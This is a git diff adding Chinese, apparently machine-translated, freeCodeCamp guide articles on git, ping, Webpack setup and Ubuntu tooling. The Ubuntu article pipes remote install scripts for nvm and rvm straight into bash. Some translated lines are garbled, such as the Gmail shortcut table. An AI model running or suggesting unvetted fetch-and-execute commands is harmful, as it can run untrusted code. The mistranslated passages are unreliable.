+*   但仍然遵循上述部署策略可能对许多人不起作用。这样的错误可能如下：
+    
+    `ERROR appcfg.py:2396 An error occurred processing file '': HTTP Error 400: Bad Request Unexpected HTTP status 400\. Aborting. Error 400: --- begin server output --- A version or backend parameter is required. --- end server output ---`
+    
+
+由于文件**app.yaml中**缺少Version语句，因此发生此错误。因此，在应用程序库中的**app.yaml**文件中添加`version: 1` 。在这里， `helloworld`是存储库。现在它会起作用。快乐的编码和制作应用程序。
+
+不要忘记查看此链接： [在Youtube上的Google App Engine上开发和部署应用程序。](https://www.youtube.com/watch?v=bfgO-LXGpTM)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md b/client/src/guide/chinese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
new file mode 100644
index 0000000000..6de63a3199
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-share-your-workspace-selfie-with-free-code-camp-on-instagram/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Share Your Workspace Selfie with Free Code Camp on Instagram
+localeTitle: 如何在Instagram上与Free Code Camp共享你的工作区自拍照
+---
+FreeCodecamp在Instagram上！以下是如何获取工作区自拍并与我们分享。
+
+## 打开免费代码营，在工作区自拍。
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f9165819dd1e91941cd3c7481d28adba04c9ccaf.png)
+
+## 使用#freecodecamp标签在Instagram，Twitter或Facebook上分享。
+
+## 社交媒体不是你的事吗？没问题！将工作区自拍电子邮件发送至team@freecodecamp.com
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md b/client/src/guide/chinese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
new file mode 100644
index 0000000000..b743a5f0e3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-squash-multiple-commits-into-one-with-git/index.md
@@ -0,0 +1,31 @@
+---
+title: How to Squash Multiple Commits into One with Git
+localeTitle: 如何用Git将多个提交压缩成一个
+---
+这是可以在`interactive`模式中使用的`rebase`一个很棒的功能。要将最后的_n次_提交压缩为一次，请运行以下命令：
+```
+git rebase -i HEAD~n 
+```
+
+这将打开一个文本编辑器，其内容类似于以下内容：
+```
+pick commit_1 
+ pick commit_2 
+ pick commit_3 
+ ... 
+ pick commit_n 
+ # Bunch of comments 
+```
+
+假期第一单独提交，并更改的其余`pick` s到`squash` 。保存并退出编辑器。
+
+因此，如果你想压缩最后三次提交，你将首先运行`git rebase -i HEAD~3`然后你将要编辑你的提交看起来像这样：
+```
+pick dd661ba Commit 1 
+ squash 71f5fee Commit 2 
+ squash f4b4bf1 Commit 3 
+```
+
+如果您在压缩提交之前已经推送到遥控器，则必须使用`-f`标志再次推送到遥控器，否则git会向您抛出错误。
+
+强烈建议您阅读已打开文件中的信息，因为您可以执行许多操作。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-start-when-you-are-stuck/index.md b/client/src/guide/chinese/miscellaneous/how-to-start-when-you-are-stuck/index.md
new file mode 100644
index 0000000000..c5d4d4d69a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-start-when-you-are-stuck/index.md
@@ -0,0 +1,19 @@
+---
+title: How to Start When You Are Stuck
+localeTitle: 如何在你被困时开始
+---
+你是一个像我一样的露营者，你进行锻炼，你就会被卡住......就像其他人一样。你不知道如何开始，你盯着你的编辑，你认为你一定有问题，当然你不是开发人员的材料......你错了！也许你就像我一样？我是一个视觉人，我喜欢比文字更好的绘画。每次在架构中放置相同的问题对我来说比你给我一个文本更有意义。那么......当我在解决/理解练习时遇到问题，我该怎么办？我开始画画。如果我需要更多将其转换为代码，我的绘图到位后，我也可以用伪代码编写它。之后将其转换为代码应该不是很难。
+
+# 那么这个流程图（图纸）和伪代码是什么？
+
+在我大学的第一个学期，我们有一个关于算法介绍的课程。这是我们第一次了解这些东西的地方。我们了解到使用流程图和伪代码开发了一个好的算法和良好的逻辑编程。
+
+**流程图**表示从上到下的程序流程。每个命令都在此表示。根据命令的性质，您可以使用不同的形状。我主要使用的一些（你可以谷歌更多，谷歌是你的朋友，当你知道谷歌的东西）是：
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b8b6b68e8b27f8d958b198613ada0a31a22df5ab.png)
+
+有关这方面的更多信息，请访问[https://en.wikipedia.org/wiki/Flowchart](https://en.wikipedia.org/wiki/Flowchart) 。
+
+**伪代码**是一种非正式语言，可以帮助开发人员编写算法。它是一个基于文本的设计工具，它使用人类可读的语言。这是一个描述算法的结构化英文文本。
+
+Free Code Camp课程中的每个算法都可以使用伪代码解决，然后在功能性javascript代码中使用javascript进行翻译。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md b/client/src/guide/chinese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
new file mode 100644
index 0000000000..f0bc6bda49
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-stimulate-your-facebook-campsite/index.md
@@ -0,0 +1,15 @@
+---
+title: How to Stimulate Your Facebook Campsite
+localeTitle: 如何刺激您的Facebook露营地
+---
+激励您的本地小组的一个好方法是提问。
+
+**你可以提出类似的问题**
+
+*   本周每个人都在做什么？
+*   您是如何处理特定挑战，算法，前端项目，后端项目的？
+*   有没有人有兴趣在本周一起参加合作计划？
+*   大家都听说过“插入最近的公告”
+*   您想要更加关注免费代码阵营的哪些部分？
+
+**您还可以为其他成员提供有用的链接，以获得您认为有用的相关资源。**
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md b/client/src/guide/chinese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
new file mode 100644
index 0000000000..aba277eceb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-stream-live-coding-on-freecodecamp/index.md
@@ -0,0 +1,28 @@
+---
+title: How to Stream Live Coding on Freecodecamp
+localeTitle: 如何在Freecodecamp上传输实时编码
+---
+直播您的代码对于流媒体和观众来说是一种教育和振奋的体验。如果您从未见过实时编码，请查看我们的[Twitch频道](http://twitch.tv/freecodecamp) 。我们正在积极寻找更多级别的流媒体，以便在FreeCodeCamp频道上进行编码。
+
+**我们目前正在不再使用Twitch，一旦细节完成，我们将更新此页面。**
+
+## 请按照以下步骤开始：
+
+1.  将您的计算机设置为流式传输。此过程因操作系统而异，通常需要下载软件以与Twitch集成。大多数免费Code Camp用户使用[OBS](https://obsproject.com/) ，但您可以在[Twitch的网站](http://www.twitch.tv/broadcast)上找到所有支持的软件。这是有关设置OBS的有用[指南](https://medium.freecodecamp.com/setting-up-obs-for-live-coding-7-steps-99b8986e7249#.s8wdu73uu) 。
+    
+2.  通过[gitter](https://gitter.im/FreeCodeCamp/LiveCoding)联系twitch mod。它们将帮助您获取在FreeCodeCamp频道上设置的流密钥。
+    
+3.  有趣的流媒体！
+    
+
+## 一般规则/准则：
+
+*   虽然我们更喜欢您流式传输JavaScript，HTML和CSS，但您可以流式传输所需的任何语言。请注意，我们的许多观众只能流利使用freecodecamp提供的语言和框架。
+*   语言和内容必须安全可靠。
+*   在流式传输之前，请检查频道以查看某人是否已经启动并了解您在[gitter上](https://gitter.im/FreeCodeCamp/LiveCoding)的[LiveCoding频道中流式传输的计划](https://gitter.im/FreeCodeCamp/LiveCoding) 。
+*   如果您有网络摄像头，请使用网络摄像头 - 观众想要见到您！
+*   使用聊天室几乎作为一对程序员。尽可能地互动并共同努力以获得最佳结果。
+*   尽可能大声地思考，以便观众能够理解你在想什么和做什么。
+*   请只提供无版权的音乐。使用[Twitch Music](https://music.twitch.tv)作为您可以使用和不能使用的[音乐](https://music.twitch.tv)的指南。
+
+请联系[LiveCoding聊天室](https://gitter.im/FreeCodeCamp/LiveCoding)中的一个mod， [立即](https://gitter.im/FreeCodeCamp/LiveCoding)开始使用！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-undo-a-git-add/index.md b/client/src/guide/chinese/miscellaneous/how-to-undo-a-git-add/index.md
new file mode 100644
index 0000000000..97f65e042a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-undo-a-git-add/index.md
@@ -0,0 +1,13 @@
+---
+title: How to Undo a Git Add
+localeTitle: 如何撤消Git添加
+---
+# 撤消git add
+
+在提交之前撤消`git add` ：
+
+运行`git reset <file>`或`git reset`以取消所有更改。
+
+在旧版本的git中，命令分别是`git reset HEAD <file>`和`git reset HEAD` 。这在Git 1.8.2中有所改变
+
+[资源](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-to-use-git-rebase/index.md b/client/src/guide/chinese/miscellaneous/how-to-use-git-rebase/index.md
new file mode 100644
index 0000000000..24da52d868
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-to-use-git-rebase/index.md
@@ -0,0 +1,53 @@
+---
+title: How to Use Git Rebase
+localeTitle: 如何使用Git Rebase
+---
+**您是否被引用此页面以接受您的公关？然后在FCC滚动到Git Rebase吧！**
+
+`git rebase`是一个非常有用的工具，是所有关于重写提交历史，但最常用的多次提交_挤进_一个。虽然在这种情况下很有用，但这并不是`git rebase`命令可以执行的唯一功能。这实际上证明使用其名称所暗示的预期功能的时候要更加有用：基本上_变基_的一个分支。让我解释一下我的意思。
+
+让我们说你有一个这样的存储库：
+```
+                                                  --- Commit 5 ----------- auth branch 
+                                                / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+```
+
+如果你想将`auth`分支与`dev`分支合并，git会向你抛出一个错误，因为你的`auth`分支是过时的：它没有考虑提交4.你必须把你的分支 -至今。
+
+Git为您提供了两种方法： `merge`命令和`rebase`命令。有关`merge`命令的探索，请访问相关的wiki文章： [Git Merge](//forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+
+我们现在运行`rebase` ：
+```
+$ git checkout auth 
+ $ git rebase dev 
+```
+
+回购现在看起来像这样：
+```
+                                                                 --- Commit 5 --- auth branch 
+                                                               / 
+                                               --- Commit 4 --------------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 --------------------------------------- master branch 
+```
+
+你看到发生了什么？ Git本质上保存了`auth`分支中的提交，“删除”它，然后在`dev`分支中提交_之后_使用相同的提交再次创建它。这意味着`Commit 4`仅存在于`dev`分支中，而不存在于`auth`分支中！而这就是它的全部内容！这可能看起来有点令人困惑，但尝试理解图表。这是一个非常有用的工具。
+
+## FCC的Git-Rebase
+
+### 防止合并冲突
+
+如果您参与FCC代码库，或者计划执行此操作，请始终在对本地文件进行任何更改之前运行此命令并推送它们：
+
+`git pull --rebase upstream staging`
+
+如果你没有`upstream`设置，那么在运行上面的命令之前运行这个命令（git会抛出一个错误，因为它不知道上游是什么）： `git remote add upstream https://github.com/freecodecamp/freecodecamp.git`
+
+这将从FCC临时分支中提取最新的更改并使用fork的暂存分支对它们进行重新绑定，以便在打开PR时不会发生任何冲突![:slight_smile:](//forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=2 "：slight_smile：")
+
+### 挤压
+
+如果您要将多个提交**[压缩](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)**成一个，请按照**[Squashing](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)**的说明进行**[操作](//forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)** 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md b/client/src/guide/chinese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
new file mode 100644
index 0000000000..aa6f9c8280
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/how-you-can-get-to-inbox-zero-with-gmail/index.md
@@ -0,0 +1,27 @@
+---
+title: How You Can Get to Inbox Zero with Gmail
+localeTitle: 如何使用Gmail获取Inbox Zero
+---
+> 这些Gmail快捷方式可以节省您的时间并帮助您访问Inbox Zero。
+
+请参阅[https://player.vimeo.com/video/115194016](https://player.vimeo.com/video/115194016)
+
+## Gmail快捷方式
+
+捷径|描述  
+\-------- | ----------：  
+j |向下移动  
+k |提升  
+o |打开  
+r |回复  
+一个|全部回复  
+f |前锋  
+c |撰写  
+x |选择  
+e |档案  
+！ |标记垃圾邮件  
+z |解开
+
+# | \*删除
+
+*   这可能不适用于使用`ALT + 3`访问＃的某些EU Mac键盘。解决方法[在这里](http://toodlepip.co.uk/2010/blog-2010-09-gmail-delete-key-shortcut-uk-apple-users/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/html-and-css-cheat-sheet/index.md b/client/src/guide/chinese/miscellaneous/html-and-css-cheat-sheet/index.md
new file mode 100644
index 0000000000..30cb808568
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/html-and-css-cheat-sheet/index.md
@@ -0,0 +1,50 @@
+---
+title: HTML and CSS Cheat Sheet
+localeTitle: HTML和CSS备忘单
+---
+这个（希望）及时的页面将成长为涵盖基本和简单的HTML和CSS解决方案。
+
+如果您有不同的方法，请添加到备用解决方案中。
+
+## 使`<hr>`水平规则更小
+
+```css
+    hr { 
+      width: 75%; 
+      margin-left: auto; 
+      margin-right: auto; 
+    } 
+```
+
+## 给出`<div>`非滚动背景
+
+```css
+    #divName { 
+      padding-top: 50px; 
+      height: 500px; 
+      color: #fff; 
+      background-image: url("your_url.jpg"); 
+      background-repeat: no-repeat; 
+      background-attachment: fixed; 
+      background-size: 100%; 
+    } 
+```
+
+尝试使用不同的值来查看它如何影响html中的div和over
+
+```html
+
+<div id="divName" class="container-fluid"> 
+```
+
+## 垂直对齐（一行文字）
+
+这可以在CSS导航菜单中使用。关键是使菜单的高度和文本的行高相同。 `css .nav li{ line-height:50px; height:50px; }` [这里可以找到](https://www.webdesignerdepot.com/2016/10/20-essential-css-tricks-every-designer-should-know/)更多巧妙的技巧
+
+## 居中一个水平列表
+
+[http://csswizardry.com/2011/01/create-a-centred-horizo​​ntal-navigation/](http://csswizardry.com/2011/01/create-a-centred-horizontal-navigation/)
+
+## HTML文档的部分和大纲
+
+[https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections _和_ _HTML5_ _文档_大纲](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/html-elements/index.md b/client/src/guide/chinese/miscellaneous/html-elements/index.md
new file mode 100644
index 0000000000..513a3148a2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/html-elements/index.md
@@ -0,0 +1,15 @@
+---
+title: HTML Elements
+localeTitle: HTML元素
+---
+大多数HTML元素都有一个开始标记和一个结束标记。
+
+打开标签如下所示： `<h1>`和Closing标签如下所示： `</h1>` 。
+
+请注意，打开和关闭标记之间的唯一区别是结束标记在其打开尖括号后面有一个斜杠。
+
+还有一些HTML元素是自动关闭的。
+
+例如，图像标签`<img />`和输入标签`<input />` 。
+
+[试试吧！](http://www.freecodecamp.com/challenges/say-hello-to-html-elements)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/identify-basic-internet-problems-with-ping/index.md b/client/src/guide/chinese/miscellaneous/identify-basic-internet-problems-with-ping/index.md
new file mode 100644
index 0000000000..dcfef1fcd1
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/identify-basic-internet-problems-with-ping/index.md
@@ -0,0 +1,126 @@
+---
+title: Identify Basic Internet Problems with Ping
+localeTitle: 使用Ping识别Internet的基本问题
+---
+![声纳屏幕](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b1bfc671722851eed4adfe2d4ec24eb9ab8a875b.png)
+
+下次你打电话给你的服务台时，你想用你的网络知识让他们惊叹吗？在现有的Mac，Windows或Linux计算机上内置一个名为“ping”的命令，有助于识别基本的连接问题。好吧，这可能不足以“哇”你的团队成员，但是他们会很感激你开始了调试过程。请记住，您的支持人员是调试专家，因此在他们引导您完成故障排除过程时，请按照他们的说明进行操作。
+
+## TL; DR：
+
+您可以使用Mac OS X，Windows或Linux计算机内置的`ping`命令来识别基本的网络连接问题。在调用支持之前，这可以帮助您解决问题和/或获取有价值的调试信息。有关如何启动命令行窗口并从Mac OS X或Windows计算机运行`ping`详细信息，请阅读下文。
+
+## `ping`命令：
+
+`ping`命令是验证另一台计算机是否可以从您接收信息的简单方法。原作者[迈克·穆斯](https://en.wikipedia.org/wiki/Mike_Muuss) （ [Mike Muuss](https://en.wikipedia.org/wiki/Mike_Muuss) ）实际上[在](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29#History) [潜水员](https://en.wikipedia.org/wiki/Mike_Muuss) [发出的“ping”声后命名该程序](https://en.wikipedia.org/wiki/Ping_%28networking_utility%29#History)以检测水中的物体。如果ping的回显返回，则表示存在某些东西。实际上， `ping`使用“ [Internet控制消息协议回应请求](https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) ”作为其底层软件设计的一部分。
+
+在最简单的形式中， `ping`命令提供两条有价值的信息，无论消息是否被回显（ `64 bytes from…` ）以及接收消息所需的`time=6.396 ms` （例如， `time=6.396 ms` ）。根据您使用的计算机类型，您甚至可以获得包含最小值，最大值，平均值等的摘要。响应时间以“ms”或毫秒显示，即1/1000秒。 10ms或更短的响应时间非常快，但值通常在100ms范围内。在200ms以上你可能会注意到你的连接缓慢。
+
+## 当一切顺利时：
+
+这是我的Mac OS X计算机上的`ping`响应，当马来西亚的一切正常工作时：
+```
+MacBook-Pro:~ ajm$ ping Google.com 
+ PING google.com (216.58.196.46): 56 data bytes 
+ 64 bytes from 216.58.196.46: icmp\_seq=0 ttl=55 time=6.396 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=1 ttl=55 time=6.368 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=2 ttl=55 time=26.773 ms 
+ 64 bytes from 216.58.196.46: icmp\_seq=3 ttl=55 time=6.984 ms 
+ ^C 
+ --- google.com ping statistics --- 
+ 4 packets transmitted, 4 packets received, 0.0% packet loss 
+ round-trip min/avg/max/stddev = 6.368/11.630/26.773/8.746 ms 
+```
+
+当一切运行良好时，这就是我的`ping`响应在Windows计算机上的样子：
+```
+C:\Users\BJM>ping Google.com 
+ Pinging google.com [216.58.196.46] with 32 bytes of data: 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=15ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Reply from 216.58.196.46: bytes=32 time=6ms TTL=128 
+ Ping statistics for 216.58.196.46: 
+    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
+ Approximate round trip times in milli-seconds: 
+    Minimum = 6ms, Maximum = 15ms, Average = 8ms 
+```
+
+从这些示例中可以看出，连接非常好，平均响应时间低于10毫秒。
+
+### 当出现问题时（三个例子）：
+
+那么如果我无法连接到`Google.com`怎样？例如＃1 ，我通过从墙上拔下我的路由器来模拟与我的Mac的网络连接断开，然后重新运行命令。我注意到的第一件事是，它需要的命令作出回应长得_多_ ：
+```
+MacBook-Pro:~ ajm$ ping google.com 
+ ping: cannot resolve google.com: Unknown host 
+ MacBook-Pro:~ ajm$ 
+```
+
+或者，例如＃2 ，具体取决于连接失败的确切方式：
+```
+PING google.com (216.58.196.46): 56 data bytes 
+ Request timeout for icmp\_seq 0 
+ Request timeout for icmp\_seq 1 
+ Request timeout for icmp\_seq 2 
+ ^C 
+```
+
+有时，如果我有一个特别片段的连接，我会看到这些消息的混合。例如＃3 ，我可以通过将我的Mac电脑连接到街对面的公共Wi-Fi连接来模拟这个：
+```
+PING google.com (216.58.196.206): 56 data bytes 
+ 64 bytes from 216.58.196.206: icmp\_seq=0 ttl=57 time=273.655 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=1 ttl=57 time=808.546 ms 
+ 64 bytes from 216.58.196.206: icmp\_seq=2 ttl=57 time=179.613 ms 
+ Request timeout for icmp\_seq 3 
+ Request timeout for icmp\_seq 4 
+ 64 bytes from 216.58.196.206: icmp\_seq=5 ttl=57 time=374.612 ms 
+ Request timeout for icmp\_seq 6 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 7 
+ ping: sendto: No route to host 
+ Request timeout for icmp\_seq 8 
+ ^C 
+```
+
+在第一次测试中， `ping`告诉我，我的机器甚至找不到`Google.com`的互联网地址（IP `216.58.196.46` ）。在第二次测试中，我的计算机记住了Google的IP地址，但实际上无法访问Google服务器（ `Request timeout` ）。在第三个测试中， `sendto: No route to host`意味着网络设备知道Google服务器在哪里，但是数字路径上的某些东西被打破了。
+
+## Mac用户：如何运行`ping`命令：
+
+在Mac上，您通常从终端命令行运行`ping` 。要启动终端，请单击桌面右上角的OS X Spotlight放大镜图标：
+
+![Mac Spotlight](//discourse-user-assets.s3.amazonaws.com/original/2X/9/924e9346b5f92fe41127f6b3e403f454773edae9.png)
+
+出现搜索窗口时，键入“terminal”，突出显示“Terminal - Utilities”，然后双击（或点击
+
+返回
+
+）： ![Mac终端发布](//discourse-user-assets.s3.amazonaws.com/original/2X/9/976e1fb628c0d0bf2a6a9b57504305fd844716d4.png)
+
+这将启动终端命令窗口，您可以输入我的示例中显示的命令`ping Google.com` ： ![Mac命令行](//discourse-user-assets.s3.amazonaws.com/original/2X/0/05d1e4d360c14921f7bd7ab871358b956f1e7d03.png)
+
+**重要的Mac提示** ：如果您没有告诉它停止， `ping`命令将永远运行。为此，请按
+
+`control`
+
+键（键盘右下方）和
+
+`c`
+
+键。这将使用Control-C（ `^C` ）中断测试并返回命令行控制。对于Windows用户，该命令将在几次迭代后自行停止。
+
+## Windows用户：如何运行`ping`命令：
+
+打开命令提示符在Windows版本10,8.1,8和7之间有所不同;这是[如何打开命令提示符](http://pcsupport.about.com/od/commandlinereference/f/open-command-prompt.htm)的一个很好的指南。例如，在Windows 7计算机上，单击左下方的Windows“开始”图标，然后选择“命令提示符”并双击（或点击
+
+`enter`
+
+）：
+
+![赢得终端发布](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4e0b18755930ad0d64e6e38763f0b96054fd76fb.png)
+
+这将启动命令窗口，您可以输入示例中显示的`ping Google.com`命令：
+
+![赢命令行](//discourse-user-assets.s3.amazonaws.com/original/2X/9/94d8ed91d29574497ad0f2eb2cd235050132851e.png)
+
+现在您已了解如何使用`ping`命令，您可以对网络连接进行基本的故障排除。通过一点创造力，您可以与当地的IT支持人员或您的网络拓扑和IP地址（例如， `ping`路由器， `ping`您的ISP）进行合作，以进一步识别网络问题。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md b/client/src/guide/chinese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
new file mode 100644
index 0000000000..5e1e2babc8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/improve-existing-pull-request-by-another-contributor/index.md
@@ -0,0 +1,23 @@
+---
+title: Improve Existing Pull Request by Another Contributor
+localeTitle: 改善另一个贡献者的现有拉动请求
+---
+如何在保持承诺的同时取得某人的公关并以自己为基础做出自己的公关：
+
+1.  建立一个新的分支，最好使用原始分支的PR＃。
+
+`git checkout -b pr/xyz`
+
+1.  将更改拉到它。
+
+`git pull git://github.com/rafase282/wiki.git update/pr-guide`
+
+这基本上意味着从存储库**Rafase282 / wiki** ，分支**更新/ pr / guide**到您当前的分支**pr / xyz** 。
+
+1.  进行更改，添加，提交，推送。如果你需要压缩，请确保保持原始贡献者的提交不受影响。
+
+**注意** ：您可能需要强制推送`git push -f origin pr/xyz`
+
+1.  创建您的PR并在说明中使其关闭原始PR并`closes #xyz`
+
+这应该使用原始更改生成一个新的pull请求，再添加一个新的pull请求，该请求将在合并时自动引用并关闭原始请求。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/index.md b/client/src/guide/chinese/miscellaneous/index.md
new file mode 100644
index 0000000000..d1a7d48e80
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/index.md
@@ -0,0 +1,7 @@
+---
+title: Miscellaneous
+localeTitle: 杂
+---
+## 杂
+
+本节包含大量文章，随着freeCodeCamp指南随着时间的推移而逐渐重新分类。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/initializing-the-react-project-with-webpack/index.md b/client/src/guide/chinese/miscellaneous/initializing-the-react-project-with-webpack/index.md
new file mode 100644
index 0000000000..394c103865
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/initializing-the-react-project-with-webpack/index.md
@@ -0,0 +1,54 @@
+---
+title: Initializing the React Project with Webpack
+localeTitle: 使用Webpack初始化React项目
+---
+首先要做的是打开我们的终端/命令行。我们需要在全球范围内安装Webpack和Webpack Dev Server。
+
+*   [帮助：有关全局安装节点模块的更多信息](https://docs.npmjs.com/getting-started/installing-npm-packages-globally)
+    
+    npm install webpack webpack-dev-server -g
+    
+
+全局安装这些模块意味着我们可以参考终端中使用各自的命令行界面。安装Webpack允许我们从终端运行`webpack`来执行Webpack脚本。安装Webpack Dev Server允许我们使用Webpack配置运行localhost服务器。这一切都会在稍后变得清晰。
+
+在您选择的目录中，创建一个新目录，例如`react-webpack-example` ，并将目录更改为：
+```
+mkdir react-webpack-example && cd $_ 
+```
+
+现在我们在新目录中，我们需要创建我们的Webpack文件，它将存在于根目录中。这是一个配置文件，因此我们将其命名为`webpack.config.js` 。
+```
+touch webpack.config.js 
+```
+
+现在，我们可以使用以下命令继续[初始化npm项目](https://docs.npmjs.com/cli/init) ：
+```
+npm init 
+```
+
+我们可以继续按Enter键循环显示终端中提供给我们的选项。
+
+`npm init`命令将创建一个`package.json`文件，该文件将包含有关我们项目的重要数据。
+
+到目前为止，这是我们的树应该是这样的：
+```
+. 
+ ├── package.json 
+ └── webpack.config.js 
+```
+
+如果你打开你的`package.json`文件，你应该看到这样的东西：
+```
+{ 
+  "name": "react-webpack-example", 
+  "version": "1.0.0", 
+  "description": "", 
+  "main": "webpack.config.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "author": "", 
+  "license": "ISC" 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md b/client/src/guide/chinese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
new file mode 100644
index 0000000000..2a5ea32d7a
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/installing-dependencies-for-react-with-webpack-projects/index.md
@@ -0,0 +1,28 @@
+---
+title: Installing Dependencies for React with Webpack Projects
+localeTitle: 使用Webpack项目安装React的依赖项
+---
+现在我们有一个空的Webpack配置文件（ `webpack.config.js` ）和一个新制作的Package文件（ `package.json` ），我们需要安装一些依赖项。安装依赖项会自动将一些数据添加到`package.json` 。
+
+该项目将依赖于React，ReactDOM，Webpack和Webpack Dev Server。它还将取决于许多Babel包，因为我们将使用ES6编写代码，而[Babel是ES6转换器](https://babeljs.io/) 。
+
+我们需要详细依赖：
+
+|套餐|原因|  
+| [反应](https://www.npmjs.com/package/react) | '一个npm包可以让你立即访问React，而不需要JSX转换器。 |  
+| [反应DOM](https://www.npmjs.com/package/react-dom) | '这个包作为DOM相关渲染路径的入口点。它旨在与同构React配对，它将作为对npm的反应发送。 |  
+| [Webpack](https://www.npmjs.com/package/webpack) | “允许将您的代码库分成多个捆绑包，可以按需加载。” |  
+| [Webpack Dev Server](https://www.npmjs.com/package/webpack-dev-server) | '提供w​​ebpack应用程序。在更改时更新浏览器。 |  
+| [Babel装载机](https://www.npmjs.com/package/babel-loader) | '用于Webpack的Babel模块加载器'。 |  
+|巴别核心| Babel Loader必需。 |  
+| Babel Preset：ES2015 | Babel Loader必需。 |  
+| Babel Preset：React | Babel Loader必需。 |
+
+我们可以使用一个命令继续安装所有这些模块：
+```
+npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react 
+```
+
+如果我们现在查看我们的`package.json`文件，我们会注意到我们的`devDependencies`已经成为我们刚刚安装的Node包的列表。这很重要，因为这意味着如果我们需要使用`npm install`我们可以再次安装它们。
+
+*   [帮助：有关`dependencies`和`devDependencies`更多信息](http://stackoverflow.com/a/22004559/4637110)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md b/client/src/guide/chinese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
new file mode 100644
index 0000000000..cf1e069f5b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/installing-devtools-and-modern-web-browsers/index.md
@@ -0,0 +1,47 @@
+---
+title: Installing Devtools and Modern Web Browsers
+localeTitle: 安装Devtools和现代Web浏览器
+---
+我们将向您展示如何在Ubuntu上安装各种编程语言，开发工具和Web浏览器。
+
+## 广泛使用的工具：
+
+### 混帐
+```
+sudo apt-get install git 
+```
+
+### 节点JS
+```
+curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.31.0/install.sh | bash 
+ nvm install stable 
+```
+
+### 红宝石
+```
+curl -sSL https://get.rvm.io | bash -s stable 
+ rvm install 2.3.1 
+```
+
+### 蟒蛇
+
+`Python 2`和`Python 3`预先安装在Ubuntu桌面上。
+
+### 现代Web浏览器
+
+开发人员使用的最流行的Web浏览器是[Chrome](https://www.google.com/chrome/) / [Chromium](https://www.chromium.org/)和[Firefox Developer Edition](https://www.mozilla.org/firefox/developer/) 。
+
+**安装Chromium：**
+```
